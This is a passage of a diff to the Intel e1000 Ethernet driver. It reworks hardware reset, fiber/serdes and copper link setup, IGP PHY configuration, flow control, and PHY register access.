e1000_82542_rev2_1: + case e1000_82543: + case e1000_82544: + /* Wait for reset to complete */ + udelay(10); + ctrl_ext = E1000_READ_REG(hw, CTRL_EXT); + ctrl_ext |= E1000_CTRL_EXT_EE_RST; + E1000_WRITE_REG(hw, CTRL_EXT, ctrl_ext); + E1000_WRITE_FLUSH(hw); + /* Wait for EEPROM reload */ + msec_delay(2); + break; + case e1000_82541: + case e1000_82541_rev_2: + case e1000_82547: + case e1000_82547_rev_2: + /* Wait for EEPROM reload */ + msec_delay(20); + break; + default: + /* Wait for EEPROM reload (it happens automatically) */ + msec_delay(5); + break; + } + + /* Disable HW ARPs on ASF enabled adapters */ + if(hw->mac_type >= e1000_82540) { manc = E1000_READ_REG(hw, MANC); manc &= ~(E1000_MANC_ARP_EN); E1000_WRITE_REG(hw, MANC, manc); @@ -350,6 +387,8 @@ e1000_reset_hw(struct e1000_hw *hw) if(hw->pci_cmd_word & CMD_MEM_WRT_INVALIDATE) e1000_pci_set_mwi(hw); } + + return E1000_SUCCESS; } /****************************************************************************** @@ -446,21 +485,30 @@ e1000_init_hw(struct e1000_hw *hw) E1000_WRITE_REG(hw, CTRL, ctrl | E1000_CTRL_PRIOR); } - /* Workaround for PCI-X problem when BIOS sets MMRBC incorrectly. */ - if(hw->bus_type == e1000_bus_type_pcix) { - e1000_read_pci_cfg(hw, PCIX_COMMAND_REGISTER, &pcix_cmd_word); - e1000_read_pci_cfg(hw, PCIX_STATUS_REGISTER_HI, &pcix_stat_hi_word); - cmd_mmrbc = (pcix_cmd_word & PCIX_COMMAND_MMRBC_MASK) >> - PCIX_COMMAND_MMRBC_SHIFT; - stat_mmrbc = (pcix_stat_hi_word & PCIX_STATUS_HI_MMRBC_MASK) >> - PCIX_STATUS_HI_MMRBC_SHIFT; - if(stat_mmrbc == PCIX_STATUS_HI_MMRBC_4K) - stat_mmrbc = PCIX_STATUS_HI_MMRBC_2K; - if(cmd_mmrbc > stat_mmrbc) { - pcix_cmd_word &= ~PCIX_COMMAND_MMRBC_MASK; - pcix_cmd_word |= stat_mmrbc << PCIX_COMMAND_MMRBC_SHIFT; - e1000_write_pci_cfg(hw, PCIX_COMMAND_REGISTER, &pcix_cmd_word); + switch(hw->mac_type) { + case e1000_82545_rev_3: + case e1000_82546_rev_3: + break; + default: + /* Workaround for PCI-X problem when BIOS sets MMRBC incorrectly. */ + if(hw->bus_type == e1000_bus_type_pcix) { + e1000_read_pci_cfg(hw, PCIX_COMMAND_REGISTER, &pcix_cmd_word); + e1000_read_pci_cfg(hw, PCIX_STATUS_REGISTER_HI, + &pcix_stat_hi_word); + cmd_mmrbc = (pcix_cmd_word & PCIX_COMMAND_MMRBC_MASK) >> + PCIX_COMMAND_MMRBC_SHIFT; + stat_mmrbc = (pcix_stat_hi_word & PCIX_STATUS_HI_MMRBC_MASK) >> + PCIX_STATUS_HI_MMRBC_SHIFT; + if(stat_mmrbc == PCIX_STATUS_HI_MMRBC_4K) + stat_mmrbc = PCIX_STATUS_HI_MMRBC_2K; + if(cmd_mmrbc > stat_mmrbc) { + pcix_cmd_word &= ~PCIX_COMMAND_MMRBC_MASK; + pcix_cmd_word |= stat_mmrbc << PCIX_COMMAND_MMRBC_SHIFT; + e1000_write_pci_cfg(hw, PCIX_COMMAND_REGISTER, + &pcix_cmd_word); + } } + break; } /* Call a subroutine to configure the link and setup flow control. */ @@ -484,6 +532,46 @@ e1000_init_hw(struct e1000_hw *hw) } /****************************************************************************** + * Adjust SERDES output amplitude based on EEPROM setting. + * + * hw - Struct containing variables accessed by shared code. + *****************************************************************************/ +static int32_t +e1000_adjust_serdes_amplitude(struct e1000_hw *hw) +{ + uint16_t eeprom_data; + int32_t ret_val; + + DEBUGFUNC("e1000_adjust_serdes_amplitude"); + + if(hw->media_type != e1000_media_type_internal_serdes) + return E1000_SUCCESS; + + switch(hw->mac_type) { + case e1000_82545_rev_3: + case e1000_82546_rev_3: + break; + default: + return E1000_SUCCESS; + } + + if ((ret_val = e1000_read_eeprom(hw, EEPROM_SERDES_AMPLITUDE, 1, + &eeprom_data))) { + return ret_val; + } + + if(eeprom_data != EEPROM_RESERVED_WORD) { + /* Adjust SERDES output amplitude only. */ + eeprom_data &= EEPROM_SERDES_AMPLITUDE_MASK; + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_EXT_CTRL, + eeprom_data))) + return ret_val; + } + + return E1000_SUCCESS; +} + +/****************************************************************************** * Configures flow control and link settings. * * hw - Struct containing variables accessed by shared code @@ -554,9 +642,9 @@ e1000_setup_link(struct e1000_hw *hw) } /* Call the necessary subroutine to configure the link. */ - ret_val = (hw->media_type == e1000_media_type_fiber) ? - e1000_setup_fiber_link(hw) : - e1000_setup_copper_link(hw); + ret_val = (hw->media_type == e1000_media_type_copper) ? + e1000_setup_copper_link(hw) : + e1000_setup_fiber_serdes_link(hw); /* Initialize the flow control address, type, and PAUSE timer * registers to their default values. This is done even if flow @@ -595,7 +683,7 @@ e1000_setup_link(struct e1000_hw *hw) } /****************************************************************************** - * Sets up link for a fiber based adapter + * Sets up link for a fiber based or serdes based adapter * * hw - Struct containing variables accessed by shared code * @@ -604,28 +692,37 @@ e1000_setup_link(struct e1000_hw *hw) * and receiver are not enabled. *****************************************************************************/ static int32_t -e1000_setup_fiber_link(struct e1000_hw *hw) +e1000_setup_fiber_serdes_link(struct e1000_hw *hw) { uint32_t ctrl; uint32_t status; uint32_t txcw = 0; uint32_t i; - uint32_t signal; + uint32_t signal = 0; int32_t ret_val; - DEBUGFUNC("e1000_setup_fiber_link"); + DEBUGFUNC("e1000_setup_fiber_serdes_link"); - /* On adapters with a MAC newer that 82544, SW Defineable pin 1 will be + /* On adapters with a MAC newer than 82544, SW Defineable pin 1 will be * set when the optics detect a signal. On older adapters, it will be - * cleared when there is a signal + * cleared when there is a signal. This applies to fiber media only. + * If we're on serdes media, adjust the output amplitude to value set in + * the EEPROM. */ ctrl = E1000_READ_REG(hw, CTRL); - if(hw->mac_type > e1000_82544) signal = E1000_CTRL_SWDPIN1; - else signal = 0; + if(hw->media_type == e1000_media_type_fiber) + signal = (hw->mac_type > e1000_82544) ? E1000_CTRL_SWDPIN1 : 0; + + if((ret_val = e1000_adjust_serdes_amplitude(hw))) + return ret_val; /* Take the link out of reset */ ctrl &= ~(E1000_CTRL_LRST); + /* Adjust VCO speed to improve BER performance */ + if((ret_val = e1000_set_vco_speed(hw))) + return ret_val; + e1000_config_collision_dist(hw); /* Check for a software override of the flow control settings, and setup @@ -692,8 +789,10 @@ e1000_setup_fiber_link(struct e1000_hw * * indication in the Device Status Register. Time-out if a link isn't * seen in 500 milliseconds seconds (Auto-negotiation should complete in * less than 500 milliseconds even if the other end is doing it in SW). + * For internal serdes, we just assume a signal is present, then poll. */ - if((E1000_READ_REG(hw, CTRL) & E1000_CTRL_SWDPIN1) == signal) { + if(hw->media_type == e1000_media_type_internal_serdes || + (E1000_READ_REG(hw, CTRL) & E1000_CTRL_SWDPIN1) == signal) { DEBUGOUT("Looking for Link\n"); for(i = 0; i < (LINK_UP_TIMEOUT / 10); i++) { msec_delay(10); @@ -701,19 +800,20 @@ e1000_setup_fiber_link(struct e1000_hw * if(status & E1000_STATUS_LU) break; } if(i == (LINK_UP_TIMEOUT / 10)) { - /* AutoNeg failed to achieve a link, so we'll call - * e1000_check_for_link. This routine will force the link up if we - * detect a signal. This will allow us to communicate with - * non-autonegotiating link partners. - */ DEBUGOUT("Never got a valid link from auto-neg!!!\n"); hw->autoneg_failed = 1; - ret_val = e1000_check_for_link(hw); - if(ret_val < 0) { - DEBUGOUT("Error while checking for link\n"); - return ret_val; + if(hw->media_type == e1000_media_type_fiber) { + /* AutoNeg failed to achieve a link, so we'll call + * e1000_check_for_link. This routine will force the link up if + * we detect a signal. This will allow us to communicate with + * non-autonegotiating link partners. + */ + if((ret_val = e1000_check_for_link(hw))) { + DEBUGOUT("Error while checking for link\n"); + return ret_val; + } + hw->autoneg_failed = 0; } - hw->autoneg_failed = 0; } else { hw->autoneg_failed = 0; DEBUGOUT("Valid Link Found\n"); @@ -721,7 +821,7 @@ e1000_setup_fiber_link(struct e1000_hw * } else { DEBUGOUT("No Signal Detected\n"); } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -756,233 +856,281 @@ e1000_setup_copper_link(struct e1000_hw } /* Make sure we have a valid PHY */ - ret_val = e1000_detect_gig_phy(hw); - if(ret_val < 0) { + if((ret_val = e1000_detect_gig_phy(hw))) { DEBUGOUT("Error, did not detect valid phy.\n"); return ret_val; } DEBUGOUT1("Phy ID = %x \n", hw->phy_id); - if (hw->phy_type == e1000_phy_igp) { - - ret_val = e1000_phy_reset(hw); - if(ret_val < 0) { - DEBUGOUT("Error Resetting the PHY\n"); - return ret_val; - } + if(hw->mac_type <= e1000_82543 || + hw->mac_type == e1000_82541 || hw->mac_type == e1000_82547 || + hw->mac_type == e1000_82541_rev_2 || hw->mac_type == e1000_82547_rev_2) + hw->phy_reset_disable = FALSE; - /* Wait 10ms for MAC to configure PHY from eeprom settings */ - msec_delay(15); + if(!hw->phy_reset_disable) { + if (hw->phy_type == e1000_phy_igp) { - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, 0x0000) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_phy_reset(hw))) { + DEBUGOUT("Error Resetting the PHY\n"); + return ret_val; + } - /* Configure activity LED after PHY reset */ - led_ctrl = E1000_READ_REG(hw, LEDCTL); - led_ctrl &= IGP_ACTIVITY_LED_MASK; - led_ctrl |= (IGP_ACTIVITY_LED_ENABLE | IGP_LED3_MODE); - E1000_WRITE_REG(hw, LEDCTL, led_ctrl); + /* Wait 10ms for MAC to configure PHY from eeprom settings */ + msec_delay(15); - if(hw->autoneg_advertised == ADVERTISE_1000_FULL) { - /* Disable SmartSpeed */ - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, - &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - phy_data &= ~IGP01E1000_PSCFR_SMART_SPEED; - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, - phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } - /* Set auto Master/Slave resolution process */ - if(e1000_read_phy_reg(hw, PHY_1000T_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; + /* Configure activity LED after PHY reset */ + led_ctrl = E1000_READ_REG(hw, LEDCTL); + led_ctrl &= IGP_ACTIVITY_LED_MASK; + led_ctrl |= (IGP_ACTIVITY_LED_ENABLE | IGP_LED3_MODE); + E1000_WRITE_REG(hw, LEDCTL, led_ctrl); + + /* disable lplu d3 during driver init */ + if((ret_val = e1000_set_d3_lplu_state(hw, FALSE))) { + DEBUGOUT("Error Disabling LPLU D3\n"); + return ret_val; } - phy_data &= ~CR_1000T_MS_ENABLE; - if(e1000_write_phy_reg(hw, PHY_1000T_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; + + /* Configure mdi-mdix settings */ + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, + &phy_data))) + return ret_val; + + if((hw->mac_type == e1000_82541) || (hw->mac_type == e1000_82547)) { + hw->dsp_config_state = e1000_dsp_config_disabled; + /* Force MDI for IGP B-0 PHY */ + phy_data &= ~(IGP01E1000_PSCR_AUTO_MDIX | + IGP01E1000_PSCR_FORCE_MDI_MDIX); + hw->mdix = 1; + + } else { + hw->dsp_config_state = e1000_dsp_config_enabled; + phy_data &= ~IGP01E1000_PSCR_AUTO_MDIX; + + switch (hw->mdix) { + case 1: + phy_data &= ~IGP01E1000_PSCR_FORCE_MDI_MDIX; + break; + case 2: + phy_data |= IGP01E1000_PSCR_FORCE_MDI_MDIX; + break; + case 0: + default: + phy_data |= IGP01E1000_PSCR_AUTO_MDIX; + break; + } } - } + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, + phy_data))) + return ret_val; - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + /* set auto-master slave resolution settings */ + if(hw->autoneg) { + e1000_ms_type phy_ms_setting = hw->master_slave; + + if(hw->ffe_config_state == e1000_ffe_config_active) + hw->ffe_config_state = e1000_ffe_config_enabled; + + if(hw->dsp_config_state == e1000_dsp_config_activated) + hw->dsp_config_state = e1000_dsp_config_enabled; + + /* when autonegotiation advertisment is only 1000Mbps then we + * should disable SmartSpeed and enable Auto MasterSlave + * resolution as hardware default. */ + if(hw->autoneg_advertised == ADVERTISE_1000_FULL) { + /* Disable SmartSpeed */ + if((ret_val = e1000_read_phy_reg(hw, + IGP01E1000_PHY_PORT_CONFIG, + &phy_data))) + return ret_val; + phy_data &= ~IGP01E1000_PSCFR_SMART_SPEED; + if((ret_val = e1000_write_phy_reg(hw, + IGP01E1000_PHY_PORT_CONFIG, + phy_data))) + return ret_val; + /* Set auto Master/Slave resolution process */ + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_CTRL, + &phy_data))) + return ret_val; + phy_data &= ~CR_1000T_MS_ENABLE; + if((ret_val = e1000_write_phy_reg(hw, PHY_1000T_CTRL, + phy_data))) + return ret_val; + } - /* Force MDI for IGP PHY */ - phy_data &= ~(IGP01E1000_PSCR_AUTO_MDIX | - IGP01E1000_PSCR_FORCE_MDI_MDIX); + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_CTRL, + &phy_data))) + return ret_val; - hw->mdix = 1; + /* load defaults for future use */ + hw->original_master_slave = (phy_data & CR_1000T_MS_ENABLE) ? + ((phy_data & CR_1000T_MS_VALUE) ? + e1000_ms_force_master : + e1000_ms_force_slave) : + e1000_ms_auto; + + switch (phy_ms_setting) { + case e1000_ms_force_master: + phy_data |= (CR_1000T_MS_ENABLE | CR_1000T_MS_VALUE); + break; + case e1000_ms_force_slave: + phy_data |= CR_1000T_MS_ENABLE; + phy_data &= ~(CR_1000T_MS_VALUE); + break; + case e1000_ms_auto: + phy_data &= ~CR_1000T_MS_ENABLE; + default: + break; + } + if((ret_val = e1000_write_phy_reg(hw, PHY_1000T_CTRL, + phy_data))) + return ret_val; + } + } else { + /* Enable CRS on TX. This must be set for half-duplex operation. */ + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + &phy_data))) + return ret_val; - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + phy_data |= M88E1000_PSCR_ASSERT_CRS_ON_TX; - } else { - /* Enable CRS on TX. This must be set for half-duplex operation. */ - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - phy_data |= M88E1000_PSCR_ASSERT_CRS_ON_TX; + /* Options: + * MDI/MDI-X = 0 (default) + * 0 - Auto for all speeds + * 1 - MDI mode + * 2 - MDI-X mode + * 3 - Auto for 1000Base-T only (MDI-X for 10/100Base-T modes) + */ + phy_data &= ~M88E1000_PSCR_AUTO_X_MODE; - /* Options: - * MDI/MDI-X = 0 (default) - * 0 - Auto for all speeds - * 1 - MDI mode - * 2 - MDI-X mode - * 3 - Auto for 1000Base-T only (MDI-X for 10/100Base-T modes) - */ - phy_data &= ~M88E1000_PSCR_AUTO_X_MODE; + switch (hw->mdix) { + case 1: + phy_data |= M88E1000_PSCR_MDI_MANUAL_MODE; + break; + case 2: + phy_data |= M88E1000_PSCR_MDIX_MANUAL_MODE; + break; + case 3: + phy_data |= M88E1000_PSCR_AUTO_X_1000T; + break; + case 0: + default: + phy_data |= M88E1000_PSCR_AUTO_X_MODE; + break; + } - switch (hw->mdix) { - case 1: - phy_data |= M88E1000_PSCR_MDI_MANUAL_MODE; - break; - case 2: - phy_data |= M88E1000_PSCR_MDIX_MANUAL_MODE; - break; - case 3: - phy_data |= M88E1000_PSCR_AUTO_X_1000T; - break; - case 0: - default: - phy_data |= M88E1000_PSCR_AUTO_X_MODE; - break; - } + /* Options: + * disable_polarity_correction = 0 (default) + * Automatic Correction for Reversed Cable Polarity + * 0 - Disabled + * 1 - Enabled + */ + phy_data &= ~M88E1000_PSCR_POLARITY_REVERSAL; + if(hw->disable_polarity_correction == 1) + phy_data |= M88E1000_PSCR_POLARITY_REVERSAL; + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + phy_data))) + return ret_val; - /* Options: - * disable_polarity_correction = 0 (default) - * Automatic Correction for Reversed Cable Polarity - * 0 - Disabled - * 1 - Enabled - */ - phy_data &= ~M88E1000_PSCR_POLARITY_REVERSAL; - if(hw->disable_polarity_correction == 1) - phy_data |= M88E1000_PSCR_POLARITY_REVERSAL; - if(e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + /* Force TX_CLK in the Extended PHY Specific Control Register + * to 25MHz clock. + */ + if((ret_val = e1000_read_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, + &phy_data))) + return ret_val; - /* Force TX_CLK in the Extended PHY Specific Control Register - * to 25MHz clock. - */ - if(e1000_read_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - phy_data |= M88E1000_EPSCR_TX_CLK_25; + phy_data |= M88E1000_EPSCR_TX_CLK_25; - if (hw->phy_revision < M88E1011_I_REV_4) { - /* Configure Master and Slave downshift values */ - phy_data &= ~(M88E1000_EPSCR_MASTER_DOWNSHIFT_MASK | - M88E1000_EPSCR_SLAVE_DOWNSHIFT_MASK); - phy_data |= (M88E1000_EPSCR_MASTER_DOWNSHIFT_1X | - M88E1000_EPSCR_SLAVE_DOWNSHIFT_1X); - if(e1000_write_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, - phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; + if (hw->phy_revision < M88E1011_I_REV_4) { + /* Configure Master and Slave downshift values */ + phy_data &= ~(M88E1000_EPSCR_MASTER_DOWNSHIFT_MASK | + M88E1000_EPSCR_SLAVE_DOWNSHIFT_MASK); + phy_data |= (M88E1000_EPSCR_MASTER_DOWNSHIFT_1X | + M88E1000_EPSCR_SLAVE_DOWNSHIFT_1X); + if((ret_val = e1000_write_phy_reg(hw, + M88E1000_EXT_PHY_SPEC_CTRL, + phy_data))) + return ret_val; } - } - /* SW Reset the PHY so all changes take effect */ - ret_val = e1000_phy_reset(hw); - if(ret_val < 0) { - DEBUGOUT("Error Resetting the PHY\n"); - return ret_val; + /* SW Reset the PHY so all changes take effect */ + if((ret_val = e1000_phy_reset(hw))) { + DEBUGOUT("Error Resetting the PHY\n"); + return ret_val; + } } - } - /* Options: - * autoneg = 1 (default) - * PHY will advertise value(s) parsed from - * autoneg_advertised and fc - * autoneg = 0 - * PHY will be set to 10H, 10F, 100H, or 100F - * depending on value parsed from forced_speed_duplex. - */ + /* Options: + * autoneg = 1 (default) + * PHY will advertise value(s) parsed from + * autoneg_advertised and fc + * autoneg = 0 + * PHY will be set to 10H, 10F, 100H, or 100F + * depending on value parsed from forced_speed_duplex. + */ + + /* Is autoneg enabled? This is enabled by default or by software + * override. If so, call e1000_phy_setup_autoneg routine to parse the + * autoneg_advertised and fc options. If autoneg is NOT enabled, then + * the user should have provided a speed/duplex override. If so, then + * call e1000_phy_force_speed_duplex to parse and set this up. + */ + if(hw->autoneg) { + /* Perform some bounds checking on the hw->autoneg_advertised + * parameter. If this variable is zero, then set it to the default. + */ + hw->autoneg_advertised &= AUTONEG_ADVERTISE_SPEED_DEFAULT; - /* Is autoneg enabled? This is enabled by default or by software override. - * If so, call e1000_phy_setup_autoneg routine to parse the - * autoneg_advertised and fc options. If autoneg is NOT enabled, then the - * user should have provided a speed/duplex override. If so, then call - * e1000_phy_force_speed_duplex to parse and set this up. - */ - if(hw->autoneg) { - /* Perform some bounds checking on the hw->autoneg_advertised - * parameter. If this variable is zero, then set it to the default. - */ - hw->autoneg_advertised &= AUTONEG_ADVERTISE_SPEED_DEFAULT; + /* If autoneg_advertised is zero, we assume it was not defaulted + * by the calling code so we set to advertise full capability. + */ + if(hw->autoneg_advertised == 0) + hw->autoneg_advertised = AUTONEG_ADVERTISE_SPEED_DEFAULT; - /* If autoneg_advertised is zero, we assume it was not defaulted - * by the calling code so we set to advertise full capability. - */ - if(hw->autoneg_advertised == 0) - hw->autoneg_advertised = AUTONEG_ADVERTISE_SPEED_DEFAULT; + DEBUGOUT("Reconfiguring auto-neg advertisement params\n"); + if((ret_val = e1000_phy_setup_autoneg(hw))) { + DEBUGOUT("Error Setting up Auto-Negotiation\n"); + return ret_val; + } + DEBUGOUT("Restarting Auto-Neg\n"); - DEBUGOUT("Reconfiguring auto-neg advertisement params\n"); - ret_val = e1000_phy_setup_autoneg(hw); - if(ret_val < 0) { - DEBUGOUT("Error Setting up Auto-Negotiation\n"); - return ret_val; - } - DEBUGOUT("Restarting Auto-Neg\n"); + /* Restart auto-negotiation by setting the Auto Neg Enable bit and + * the Auto Neg Restart bit in the PHY control register. + */ + if((ret_val = e1000_read_phy_reg(hw, PHY_CTRL, &phy_data))) + return ret_val; - /* Restart auto-negotiation by setting the Auto Neg Enable bit and - * the Auto Neg Restart bit in the PHY control register. - */ - if(e1000_read_phy_reg(hw, PHY_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - phy_data |= (MII_CR_AUTO_NEG_EN | MII_CR_RESTART_AUTO_NEG); - if(e1000_write_phy_reg(hw, PHY_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + phy_data |= (MII_CR_AUTO_NEG_EN | MII_CR_RESTART_AUTO_NEG); + if((ret_val = e1000_write_phy_reg(hw, PHY_CTRL, phy_data))) + return ret_val; - /* Does the user want to wait for Auto-Neg to complete here, or - * check at a later time (for example, callback routine). - */ - if(hw->wait_autoneg_complete) { - ret_val = e1000_wait_autoneg(hw); - if(ret_val < 0) { - DEBUGOUT("Error while waiting for autoneg to complete\n"); + /* Does the user want to wait for Auto-Neg to complete here, or + * check at a later time (for example, callback routine). + */ + if(hw->wait_autoneg_complete) { + if((ret_val = e1000_wait_autoneg(hw))) { + DEBUGOUT("Error while waiting for autoneg to complete\n"); + return ret_val; + } + } + hw->get_link_status = TRUE; + } else { + DEBUGOUT("Forcing speed and duplex\n"); + if((ret_val = e1000_phy_force_speed_duplex(hw))) { + DEBUGOUT("Error Forcing Speed and Duplex\n"); return ret_val; } } - hw->get_link_status = TRUE; - } else { - DEBUGOUT("Forcing speed and duplex\n"); - ret_val = e1000_phy_force_speed_duplex(hw); - if(ret_val < 0) { - DEBUGOUT("Error Forcing Speed and Duplex\n"); - return ret_val; - } - } + } /* !hw->phy_reset_disable */ /* Check link status. Wait up to 100 microseconds for link to become * valid. */ for(i = 0; i < 10; i++) { - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + if(phy_data & MII_SR_LINK_STATUS) { /* We have link, so we need to finish the config process: * 1) Set up the MAC to the current PHY speed/duplex @@ -1007,13 +1177,21 @@ e1000_setup_copper_link(struct e1000_hw return ret_val; } DEBUGOUT("Valid link established!!!\n"); - return 0; + + if(hw->phy_type == e1000_phy_igp) { + if((ret_val = e1000_config_dsp_after_link_change(hw, TRUE))) { + DEBUGOUT("Error Configuring DSP after link up\n"); + return ret_val; + } + } + DEBUGOUT("Valid link established!!!\n"); + return E1000_SUCCESS; } udelay(10); } DEBUGOUT("Unable to establish link!!!\n"); - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -1557,6 +1728,7 @@ e1000_config_fc_after_link_up(struct e10 * configuration of the MAC to match the "fc" parameter. */ if(((hw->media_type == e1000_media_type_fiber) && (hw->autoneg_failed)) || + ((hw->media_type == e1000_media_type_internal_serdes) && (hw->autoneg_failed)) || ((hw->media_type == e1000_media_type_copper) && (!hw->autoneg))) { ret_val = e1000_force_mac_fc(hw); if(ret_val < 0) { @@ -1704,7 +1861,7 @@ e1000_config_fc_after_link_up(struct e10 hw->original_fc == e1000_fc_tx_pause) { hw->fc = e1000_fc_none; DEBUGOUT("Flow Control = NONE.\r\n"); - } else { + } else if(!hw->fc_strict_ieee) { hw->fc = e1000_fc_rx_pause; DEBUGOUT("Flow Control = RX PAUSE frames only.\r\n"); } @@ -1747,19 +1904,19 @@ e1000_check_for_link(struct e1000_hw *hw uint32_t ctrl; uint32_t status; uint32_t rctl; - uint32_t signal; + uint32_t signal = 0; int32_t ret_val; uint16_t phy_data; uint16_t lp_capability; DEBUGFUNC("e1000_check_for_link"); - /* On adapters with a MAC newer that 82544, SW Defineable pin 1 will be + /* On adapters with a MAC newer than 82544, SW Defineable pin 1 will be * set when the optics detect a signal. On older adapters, it will be - * cleared when there is a signal + * cleared when there is a signal. This applies to fiber media only. */ - if(hw->mac_type > e1000_82544) signal = E1000_CTRL_SWDPIN1; - else signal = 0; + if(hw->media_type == e1000_media_type_fiber) + signal = (hw->mac_type > e1000_82544) ? E1000_CTRL_SWDPIN1 : 0; ctrl = E1000_READ_REG(hw, CTRL); status = E1000_READ_REG(hw, STATUS); @@ -1794,6 +1951,7 @@ e1000_check_for_link(struct e1000_hw *hw } else { /* No link detected */ + e1000_config_dsp_after_link_change(hw, FALSE); return 0; } @@ -1802,6 +1960,9 @@ e1000_check_for_link(struct e1000_hw *hw */ if(!hw->autoneg) return -E1000_ERR_CONFIG; + /* optimize the dsp settings for the igp phy */ + e1000_config_dsp_after_link_change(hw, TRUE); + /* We have a M88E1000 PHY and Auto-Neg is enabled. If we * have Si on board that is 82544 or newer, Auto * Speed Detection takes care of MAC speed/duplex @@ -1928,12 +2089,14 @@ e1000_check_for_link(struct e1000_hw *hw * speed - Speed of the connection * duplex - Duplex setting of the connection *****************************************************************************/ -void +int32_t e1000_get_speed_and_duplex(struct e1000_hw *hw, uint16_t *speed, uint16_t *duplex) { uint32_t status; + int32_t ret_val; + uint16_t phy_data; DEBUGFUNC("e1000_get_speed_and_duplex"); @@ -1962,6 +2125,27 @@ e1000_get_speed_and_duplex(struct e1000_ *speed = SPEED_1000; *duplex = FULL_DUPLEX; } + + /* IGP01 PHY may advertise full duplex operation after speed downgrade even + * if it is operating at half duplex. Here we set the duplex settings to + * match the duplex in the link partner's capabilities. + */ + if(hw->phy_type == e1000_phy_igp && hw->speed_downgraded) { + if((ret_val = e1000_read_phy_reg(hw, PHY_AUTONEG_EXP, &phy_data))) + return ret_val; + + if(!(phy_data & NWAY_ER_LP_NWAY_CAPS)) + *duplex = HALF_DUPLEX; + else { + if((ret_val == e1000_read_phy_reg(hw, PHY_LP_ABILITY, &phy_data))) + return ret_val; + if((*speed == SPEED_100 && !(phy_data & NWAY_LPAR_100TX_FD_CAPS)) || + (*speed == SPEED_10 && !(phy_data & NWAY_LPAR_10T_FD_CAPS))) + *duplex = HALF_DUPLEX; + } + } + + return E1000_SUCCESS; } /****************************************************************************** @@ -2010,11 +2194,11 @@ e1000_raise_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl) { /* Raise the clock input to the Management Data Clock (by setting the MDC - * bit), and then delay 2 microseconds. + * bit), and then delay 10 microseconds. */ E1000_WRITE_REG(hw, CTRL, (*ctrl | E1000_CTRL_MDC)); E1000_WRITE_FLUSH(hw); - udelay(2); + udelay(10); } /****************************************************************************** @@ -2028,11 +2212,11 @@ e1000_lower_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl) { /* Lower the clock input to the Management Data Clock (by clearing the MDC - * bit), and then delay 2 microseconds. + * bit), and then delay 10 microseconds. */ E1000_WRITE_REG(hw, CTRL, (*ctrl & ~E1000_CTRL_MDC)); E1000_WRITE_FLUSH(hw); - udelay(2); + udelay(10); } /****************************************************************************** @@ -2076,7 +2260,7 @@ e1000_shift_out_mdi_bits(struct e1000_hw E1000_WRITE_REG(hw, CTRL, ctrl); E1000_WRITE_FLUSH(hw); - udelay(2); + udelay(10); e1000_raise_mdi_clk(hw, &ctrl); e1000_lower_mdi_clk(hw, &ctrl); @@ -2138,8 +2322,8 @@ e1000_shift_in_mdi_bits(struct e1000_hw } /***************************************************************************** -* Reads the value from a PHY register -* +* Reads the value from a PHY register, if the value is on a specific non zero +* page, sets the page first. * hw - Struct containing variables accessed by shared code * reg_addr - address of the PHY register to read ******************************************************************************/ @@ -2148,11 +2332,33 @@ e1000_read_phy_reg(struct e1000_hw *hw, uint32_t reg_addr, uint16_t *phy_data) { + uint32_t ret_val; + + DEBUGFUNC("e1000_read_phy_reg"); + + if(hw->phy_type == e1000_phy_igp && + (reg_addr > MAX_PHY_MULTI_PAGE_REG)) { + if((ret_val = e1000_write_phy_reg_ex(hw, IGP01E1000_PHY_PAGE_SELECT, + (uint16_t)reg_addr))) + return ret_val; + } + + ret_val = 